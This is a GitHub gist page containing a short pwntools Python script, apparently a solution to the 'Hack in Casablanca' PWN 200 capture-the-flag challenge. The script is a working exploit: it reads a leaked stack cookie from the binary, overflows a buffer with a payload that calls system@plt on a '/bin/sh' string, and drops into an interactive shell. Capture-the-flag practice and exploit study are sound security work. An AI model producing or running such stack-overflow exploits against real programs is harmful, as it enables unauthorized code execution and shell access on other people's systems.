Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Created April 1, 2018 14:10
Show Gist options
  • Save 0xPwny/a9fb4abad1684c93cd13351a4cefdc64 to your computer and use it in GitHub Desktop.
Save 0xPwny/a9fb4abad1684c93cd13351a4cefdc64 to your computer and use it in GitHub Desktop.
Hack in Casablanca - PWN 200
from pwn import *
#RUN IT AND [HOPE] IT WILL JUMP TO YOUR [ROP] :D
r = process("./ch2")
pause()
r.recvuntil("ID:")
COOKIE = r.recvline().strip()
binsh = 0x08048875
systemplt = 0x80484a0
#exitplt = 0x080484b0
pld1 = "A"*4
pld1 += p32(systemplt)
pld1 += "A"*4
pld1 += p32(binsh)
pld2 = pld1*4
pld2 += COOKIE
pld2 += p32(0x0)
r.sendline(pld2)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment